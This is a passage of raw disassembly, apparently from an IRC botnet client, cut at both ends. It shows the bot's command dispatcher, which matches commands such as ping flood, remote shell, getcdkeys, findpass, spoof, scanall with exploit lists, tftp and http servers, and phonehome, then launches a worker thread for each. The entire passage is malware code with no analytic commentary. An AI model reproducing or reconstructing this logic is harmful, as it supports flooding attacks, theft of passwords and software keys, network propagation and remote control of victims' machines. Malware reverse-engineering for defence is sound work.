		test	eax, eax
		pop	ecx
		jnz	short loc_403066
		push	[ebp+esi+var_8C]
		push	16h
		push	offset aPingFlood ; "Ping flood"
		push	offset dword_440308
		jmp	loc_402C8F
; ---------------------------------------------------------------------------

loc_403066:				; CODE XREF: sub_401C87+13C5j
		push	edi
		push	offset aTftpstop ; "tftpstop"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40308F
		push	[ebp+esi+var_8C]
		push	5
		push	offset aServer_5 ; "Server"
		push	offset dword_440328
		jmp	loc_402C8F
; ---------------------------------------------------------------------------

loc_40308F:				; CODE XREF: sub_401C87+13EEj
		push	edi
		push	offset aFindfilestop ; "findfilestop"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404797
		push	edi
		push	offset aFfstop	; "ffstop"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404797
		push	edi
		push	offset aProcsstop ; "procsstop"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40477F
		push	edi
		push	offset aPsstop	; "psstop"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40477F
		push	edi
		push	offset aClonestop ; "clonestop"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40310C
		push	[ebp+esi+var_8C]
		push	1Fh
		push	offset aClone	; "Clone"
		push	offset dword_440378
		jmp	loc_402C8F
; ---------------------------------------------------------------------------

loc_40310C:				; CODE XREF: sub_401C87+146Bj
		push	edi
		push	offset aSecurestop ; "securestop"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403135
		push	[ebp+esi+var_8C]
		push	22h
		push	offset aSecure_1 ; "Secure"
		push	offset dword_44039C
		jmp	loc_402C8F
; ---------------------------------------------------------------------------

loc_403135:				; CODE XREF: sub_401C87+1494j
		push	edi
		push	offset aScanstop ; "scanstop"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40315E
		push	[ebp+esi+var_8C]
		push	0Bh
		push	offset aScan_0	; "Scan"
		push	offset dword_4403C0
		jmp	loc_402C8F
; ---------------------------------------------------------------------------

loc_40315E:				; CODE XREF: sub_401C87+14BDj
		push	edi
		push	offset aScanstats ; "scanstats"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404769
		push	edi
		push	offset aStats	; "stats"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404769
		push	edi
		push	offset aTransferstats ;	"transferstats"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404753
		push	edi
		push	offset aTrstats	; "trstats"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404753
		push	edi
		push	offset aConnectbacksta ; "connectbackstats"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40473D
		push	edi
		push	offset aCbstats	; "cbstats"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40473D
		push	edi
		push	offset aExploitlist ; "exploitlist"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404727
		push	edi
		push	offset aExplist	; "explist"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404727
		push	edi
		push	offset aReconnect ; "reconnect"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404708
		push	edi
		push	offset aR	; "r"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404708
		push	edi
		push	offset aDisconnect ; "disconnect"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4046E6
		push	edi
		push	offset aDc	; "dc"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4046E6
		push	edi
		push	offset aQuit_0	; "quit"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40469D
		push	edi
		push	offset aQ	; "q"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40469D
		push	edi
		push	offset aStatus	; "status"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40465F
		push	edi
		push	offset aS_0	; "s"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40465F
		push	edi
		push	offset aId	; "id"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404628
		push	edi
		push	offset aI	; "i"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404628
		push	edi
		push	offset aReboot	; "reboot"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40332A
		call	sub_418E8C
		test	eax, eax
		mov	eax, offset unk_440468
		jnz	short loc_4032FC
		mov	eax, offset unk_440488

loc_4032FC:				; CODE XREF: sub_401C87+166Ej
		push	eax
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41EA60
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409C75
		add	esp, 1Ch
		jmp	loc_402593
; ---------------------------------------------------------------------------

loc_40332A:				; CODE XREF: sub_401C87+1660j
		push	edi
		push	offset aThreads	; "threads"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40453B
		push	edi
		push	offset aT	; "t"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40453B
		push	edi
		push	offset aAliases	; "aliases"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404518
		push	edi
		push	offset aAl	; "al"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404518
		push	edi
		push	offset aLog	; "log"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404429
		push	edi
		push	offset aLg	; "lg"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404429
		push	edi
		push	offset aClearlog ; "clearlog"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404410
		push	edi
		push	offset aClg	; "clg"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404410
		push	edi
		push	offset aNetinfo	; "netinfo"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043D6
		push	edi
		push	offset aNi	; "ni"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043D6
		push	edi
		push	offset aSysinfo	; "sysinfo"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043AB
		push	edi
		push	offset aSi	; "si"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043AB
		push	edi
		push	offset aRemove010 ; "remove010"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404371
		push	edi
		push	offset aRm010	; "rm010"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404371
		push	edi
		push	offset aProcs	; "procs"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40424F
		push	edi
		push	offset aPs	; "ps"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40424F
		push	edi
		push	offset aGetcdkeys ; "getcdkeys"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404225
		push	edi
		push	offset aKey	; "key"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404225
		push	edi
		push	offset aUptime	; "uptime"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40419E
		push	edi
		push	offset aUp	; "up"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40419E
		push	edi
		push	offset aDriveinfo ; "driveinfo"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404181
		push	edi
		push	offset aDrv	; "drv"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404181
		push	edi
		push	offset aTestdlls ; "testdlls"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404168
		push	edi
		push	offset aDll	; "dll"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404168
		push	edi
		push	offset aOpencmd	; "opencmd"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404129
		push	edi
		push	offset aOcmd	; "ocmd"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404129
		push	edi
		push	offset aCmdstop	; "cmdstop"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403575
		push	[ebp+esi+var_8C]
		push	0Ah
		push	offset aRemoteShell ; "Remote shell"
		push	offset dword_44057C
		jmp	loc_402C8F
; ---------------------------------------------------------------------------

loc_403575:				; CODE XREF: sub_401C87+18D4j
		push	edi
		push	offset dword_440588
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_403692
		cmp	[ebp+var_8], ebx
		jnz	short loc_4035A9
		push	ebx
		push	[ebp+var_4]
		push	offset dword_44058C
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409C75
		add	esp, 14h

loc_4035A9:				; CODE XREF: sub_401C87+1906j
		mov	eax, [ebp+arg_18]
		mov	[ebp+arg_20], ebx
		mov	[ebp+arg_18], eax
		jmp	short loc_4035B7
; ---------------------------------------------------------------------------

loc_4035B4:				; CODE XREF: sub_401C87+197Cj
		mov	eax, [ebp+arg_18]

loc_4035B7:				; CODE XREF: sub_401C87+192Bj
		cmp	[eax], bl
		jz	short loc_4035BE
		inc	eax
		jmp	short loc_4035C3
; ---------------------------------------------------------------------------

loc_4035BE:				; CODE XREF: sub_401C87+1932j
		mov	eax, offset dword_4405A0

loc_4035C3:				; CODE XREF: sub_401C87+1935j
		push	eax
		lea	eax, [ebp+var_2C0]
		push	[ebp+arg_20]
		push	offset dword_4405A8
		push	eax
		call	sub_41EA60
		push	1
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409C75
		add	[ebp+arg_18], 80h
		add	esp, 24h
		inc	[ebp+arg_20]
		cmp	[ebp+arg_20], 3
		jl	short loc_4035B4
		push	offset unk_4405B0
		call	sub_415A3C
		pop	ecx

loc_403610:				; CODE XREF: sub_401C87+1C0Bj
					; sub_401C87+2F2Fj
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_4076C4
		push	edi
		push	offset aSpoof	; "spoof"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404CC2
		mov	esi, [ebp+arg_10]
		push	offset aOff	; "off"
		push	esi
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404BC8
		lea	eax, [ebp+var_2C0]
		push	offset unk_4405E0
		push	eax
		mov	dword_4E682C, ebx
		call	sub_41EA60
		pop	ecx
		pop	ecx

loc_403668:				; CODE XREF: sub_401C87+2FE2j
					; sub_401C87+3008j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_409A67
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409C75

loc_40368A:				; CODE XREF: sub_401C87+7114j
					; sub_401C87+7178j
		add	esp, 14h
		jmp	loc_409A67
; ---------------------------------------------------------------------------

loc_403692:				; CODE XREF: sub_401C87+18FDj
		push	edi
		push	offset aGetclip	; "getclip"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040E8
		push	edi
		push	offset aGc	; "gc"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040E8
		push	edi
		push	offset aFlusharp ; "flusharp"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040CB
		push	edi
		push	offset aFarp	; "farp"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040CB
		push	edi
		push	offset aFlushdns ; "flushdns"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40408D
		push	edi
		push	offset aFdns	; "fdns"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40408D
		push	edi
		push	offset aCurrentip ; "currentip"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404053
		push	edi
		push	offset aCip	; "cip"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404053
		push	edi
		push	offset aRloginserver ; "rloginserver"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EF7
		push	edi
		push	offset aRlogin	; "rlogin"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EF7
		push	edi
		push	offset aHttpserver ; "httpserver"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403D82
		push	edi
		push	offset aHttp	; "http"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403D82
		push	edi
		push	offset aTftpserver ; "tftpserver"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C51
		push	edi
		push	offset aTftp	; "tftp"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C51
		push	edi
		push	offset aCrash	; "crash"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40381E
		lea	eax, [ebp+var_2C0]
		push	offset dword_440694
		push	eax
		call	sub_41EA60
		cmp	[ebp+var_8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_4037FD
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409C75
		add	esp, 14h

loc_4037FD:				; CODE XREF: sub_401C87+1B58j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415A3C
		mov	[esp+10h+var_10], offset aCrash_0 ; "crash"
		push	[ebp+esi+var_7C]
		call	sub_41F7E0
		jmp	loc_402212
; ---------------------------------------------------------------------------

loc_40381E:				; CODE XREF: sub_401C87+1B40j
		push	edi
		push	offset aScanall	; "scanall"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40394D
		push	edi
		push	offset aSa	; "sa"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40394D
		push	edi
		push	offset aPhonehome ; "phonehome"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403872
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n"
		push	[ebp+arg_4]
		call	sub_409C2F
		jmp	loc_4020E7
; ---------------------------------------------------------------------------

loc_403872:				; CODE XREF: sub_401C87+1BD0j
		push	edi
		push	offset aFindpass ; "findpass"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_403898
		push	edi
		push	offset aFp	; "fp"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_403610

loc_403898:				; CODE XREF: sub_401C87+1BFAj
		push	[ebp+var_88]
		lea	eax, [ebp+var_F54]
		push	80h
		push	eax
		call	sub_41EC30
		mov	eax, [ebp+arg_4]
		push	offset unk_440704
		mov	[ebp+var_F58], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_ED0], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_ECC], eax
		lea	eax, [ebp+var_2C0]
		push	200h
		push	eax
		call	sub_41EC30
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	26h
		push	eax
		call	sub_40B691
		add	esp, 24h
		mov	[ebp+var_ED4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_F58]
		push	ebx
		push	eax
		push	offset sub_41786C
		push	ebx
		push	ebx
		call	dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_ED4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_455FD4[ecx], eax
		jnz	short loc_403940
		call	dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset unk_44072C
		jmp	loc_4085EB
; ---------------------------------------------------------------------------

loc_403938:				; CODE XREF: sub_401C87+1CBFj
		push	32h
		call	dword_4F534C	; Sleep

loc_403940:				; CODE XREF: sub_401C87+1C9Ej
		cmp	[ebp+var_EC8], ebx
		jz	short loc_403938
		jmp	loc_402593
; ---------------------------------------------------------------------------

loc_40394D:				; CODE XREF: sub_401C87+1BA6j
					; sub_401C87+1BBBj
		mov	al, byte_4483F2
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_4483F2
		jz	loc_4076C4
		mov	ecx, edx

loc_403964:				; CODE XREF: sub_401C87+1CE5j
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_403964
		cmp	al, bl
		jz	loc_4076C4
		mov	[ebp+arg_18], edx
		mov	esi, offset aF	; "#f"

loc_40397E:				; CODE XREF: sub_401C87+1FA3j
		push	0Bh
		call	sub_40B8D3
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		add	eax, ecx
		cmp	eax, 1F4h
		jle	short loc_4039CD
		push	ecx
		lea	eax, [ebp+var_2C0]
		push	offset unk_440768
		push	eax
		call	sub_41EA60
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409C75
		add	esp, 20h
		jmp	loc_403C21
; ---------------------------------------------------------------------------

loc_4039CD:				; CODE XREF: sub_401C87+1D11j
		or	[ebp+var_730], 0FFFFFFFFh
		cmp	dword_448210, ebx
		mov	[ebp+var_734], 64h
		mov	[ebp+var_748], 5
		mov	[ebp+var_744], 320h
		mov	[ebp+arg_0], ebx
		jz	short loc_403A3E
		mov	edi, offset dword_448210

loc_403A02:				; CODE XREF: sub_401C87+1D99j
		mov	eax, [ebp+arg_18]
		add	eax, 0FFFFFFF6h
		push	eax
		lea	eax, [edi-28h]
		push	eax
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_403A24
		inc	[ebp+arg_0]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_403A02
		jmp	short loc_403A3E
; ---------------------------------------------------------------------------

loc_403A24:				; CODE XREF: sub_401C87+1D8Fj
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_730], eax
		shl	ecx, 6
		mov	ecx, dword_448210[ecx]
		mov	[ebp+var_74C], ecx

loc_403A3E:				; CODE XREF: sub_401C87+1D74j
					; sub_401C87+1D9Bj
		cmp	[ebp+var_74C], ebx
		jz	loc_403C47
		push	10h
		lea	eax, [ebp+var_2CC]
		pop	edi
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		mov	[ebp+var_2CC], edi
		push	[ebp+arg_4]
		call	dword_4E302C	; getsockname
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_308], eax
		push	[ebp+var_308]
		call	dword_4E3114	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41E510
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41F5B0
		add	esp, 14h
		cmp	edi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_403AE6

loc_403AC4:				; CODE XREF: sub_401C87+1E5Dj
		cmp	eax, ebx
		jz	short loc_403AE6
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_860]
		push	30h
		push	eax
		call	sub_41F5B0
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_403AC4

loc_403AE6:				; CODE XREF: sub_401C87+1E3Bj
					; sub_401C87+1E3Fj
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_750], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_728], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_724], eax
		mov	edi, 80h
		lea	eax, [ebp+var_850]
		push	edi
		push	eax
		mov	[ebp+var_720], 1
		call	sub_41EC30
		push	offset byte_4E2F39
		push	esi
		call	sub_41F7E0
		add	esp, 14h
		test	eax, eax
		jz	short loc_403B48
		push	esi
		lea	eax, [ebp+var_7D0]
		push	edi
		push	eax
		call	sub_41EC30
		add	esp, 0Ch
		jmp	short loc_403B4E
; ---------------------------------------------------------------------------

loc_403B48:				; CODE XREF: sub_401C87+1EACj
		mov	[ebp+var_7D0], bl

loc_403B4E:				; CODE XREF: sub_401C87+1EBFj
		cmp	[ebp+var_720], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_403B60
		mov	eax, offset aSequential	; "Sequential"

loc_403B60:				; CODE XREF: sub_401C87+1ED2j
		push	[ebp+var_734]
		lea	ecx, [ebp+var_860]
		push	[ebp+var_744]
		push	[ebp+var_748]
		push	[ebp+var_74C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_4407C0
		push	eax
		call	sub_41EA60
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	0Bh
		push	eax
		call	sub_40B691
		add	esp, 2Ch
		mov	[ebp+var_740], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_860]
		push	ebx
		push	eax
		push	offset sub_40CA91
		push	ebx
		push	ebx
		call	dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_740]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_455FD4[ecx], eax
		jnz	short loc_403C3D
		call	dword_4F5360	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_44082C
		push	eax
		call	sub_41EA60
		add	esp, 0Ch

loc_403BF3:				; CODE XREF: sub_401C87+1FBEj
		cmp	[ebp+var_8], ebx
		jnz	short loc_403C14
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409C75
		add	esp, 14h

loc_403C14:				; CODE XREF: sub_401C87+1F6Fj
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415A3C
		pop	ecx

loc_403C21:				; CODE XREF: sub_401C87+1D41j
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_40397E
		jmp	loc_4076C4
; ---------------------------------------------------------------------------

loc_403C35:				; CODE XREF: sub_401C87+1FBCj
		push	32h
		call	dword_4F534C	; Sleep

loc_403C3D:				; CODE XREF: sub_401C87+1F4Fj
		cmp	[ebp+var_71C], ebx
		jz	short loc_403C35
		jmp	short loc_403BF3
; ---------------------------------------------------------------------------

loc_403C47:				; CODE XREF: sub_401C87+1DBDj
		push	offset unk_440868
		jmp	loc_40713A
; ---------------------------------------------------------------------------

loc_403C51:				; CODE XREF: sub_401C87+1B16j
					; sub_401C87+1B2Bj
		push	5
		call	sub_40B8D3
		test	eax, eax
		pop	ecx
		jle	short loc_403C67
		push	offset unk_4408A0
		jmp	loc_40713A
; ---------------------------------------------------------------------------

loc_403C67:				; CODE XREF: sub_401C87+1FD4j
		mov	eax, [ebp+esi+var_8C]
		mov	edi, 104h
		cmp	eax, ebx
		jz	short loc_403C8A
		push	eax
		lea	eax, [ebp+var_2D50]
		push	edi
		push	eax
		call	sub_41EC30
		add	esp, 0Ch
		jmp	short loc_403C99
; ---------------------------------------------------------------------------

loc_403C8A:				; CODE XREF: sub_401C87+1FEEj
		lea	eax, [ebp+var_2D50]
		push	edi
		push	eax
		push	ebx
		call	dword_4F5344	; GetModuleFileNameA

loc_403C99:				; CODE XREF: sub_401C87+2001j
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_403CA9
		mov	esi, offset byte_43F10C

loc_403CA9:				; CODE XREF: sub_401C87+201Bj
		push	esi
		lea	eax, [ebp+var_2C4C]
		push	edi
		push	eax
		call	sub_41EC30
		mov	eax, dword_43F07C
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2B40],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2B44],	ebx
		mov	[ebp+var_2D54],	eax
		lea	eax, [ebp+var_2B3C]
		push	eax
		call	sub_41E510
		mov	eax, [ebp+var_4]
		mov	[ebp+var_2ABC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2AB8],	eax
		lea	eax, [ebp+var_2D50]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_2B40]
		push	offset unk_4408C0
		push	eax
		call	sub_41EA60
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	5
		push	eax
		call	sub_40B691
		add	esp, 34h
		mov	[ebp+var_2B48],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2D54]
		push	ebx
		push	eax
		push	offset sub_41206F
		push	ebx
		push	ebx
		call	dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_2B48]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_455FD4[ecx], eax
		jnz	short loc_403D75
		call	dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4408F4
		jmp	loc_406190
; ---------------------------------------------------------------------------

loc_403D6D:				; CODE XREF: sub_401C87+20F4j
		push	32h
		call	dword_4F534C	; Sleep

loc_403D75:				; CODE XREF: sub_401C87+20D3j
		cmp	[ebp+var_2AB4],	ebx
		jz	short loc_403D6D
		jmp	loc_407148
; ---------------------------------------------------------------------------

loc_403D82:				; CODE XREF: sub_401C87+1AECj
					; sub_401C87+1B01j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403DA1
		push	edi
		call	sub_41E710
		test	eax, eax
		pop	ecx
		jz	short loc_403DA1
		push	edi
		call	sub_41E710
		pop	ecx
		jmp	short loc_403DA6
; ---------------------------------------------------------------------------

loc_403DA1:				; CODE XREF: sub_401C87+2104j
					; sub_401C87+210Fj
		mov	eax, dword_43F080

loc_403DA6:				; CODE XREF: sub_401C87+2118j
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_36C8],	eax
		xor	eax, eax
		cmp	[ebp+var_8FC], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_36B4],	eax
		jz	short loc_403DD9
		lea	eax, [ebp+var_37CC]
		push	esi
		push	eax
		call	sub_41EA60
		pop	ecx
		pop	ecx
		jmp	short loc_403E04
; ---------------------------------------------------------------------------

loc_403DD9:				; CODE XREF: sub_401C87+213Fj
		lea	eax, [ebp+var_4FF4]
		push	104h
		push	eax
		call	dword_4F5348	; GetSystemDirectoryA
		push	ebx
		push	ebx
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4FF4]
		push	eax
		call	sub_41ED30
		add	esp, 14h

loc_403E04:				; CODE XREF: sub_401C87+2150j
		lea	eax, [ebp+var_37CC]
		push	eax
		call	sub_41BC70
		cmp	[ebp+eax+var_37CD], 5Ch
		pop	ecx
		jnz	short loc_403E2F
		lea	eax, [ebp+var_37CC]
		push	eax
		call	sub_41BC70
		pop	ecx
		mov	[ebp+eax+var_37CD], bl

loc_403E2F:				; CODE XREF: sub_401C87+2192j
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_3A54]
		mov	[ebp+var_3A58],	esi
		push	80h
		push	eax
		call	sub_41EC30
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_36B8],	eax
		lea	eax, [ebp+var_37CC]
		mov	[ebp+var_36BC],	edi
		push	eax
		push	[ebp+var_36C8]
		push	esi
		call	sub_40AEAD
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_440930
		push	eax
		call	sub_41EA60
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	3
		push	eax
		call	sub_40B691
		add	esp, 20h
		mov	[ebp+var_36C0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3A58]
		push	ebx
		push	eax
		push	offset sub_40FA20
		push	ebx
		push	ebx
		call	dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_36C0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_455FD4[ecx], eax
		jnz	short loc_403EEA
		call	dword_4F5360	; RtlGetLastWin32Error
		push	eax
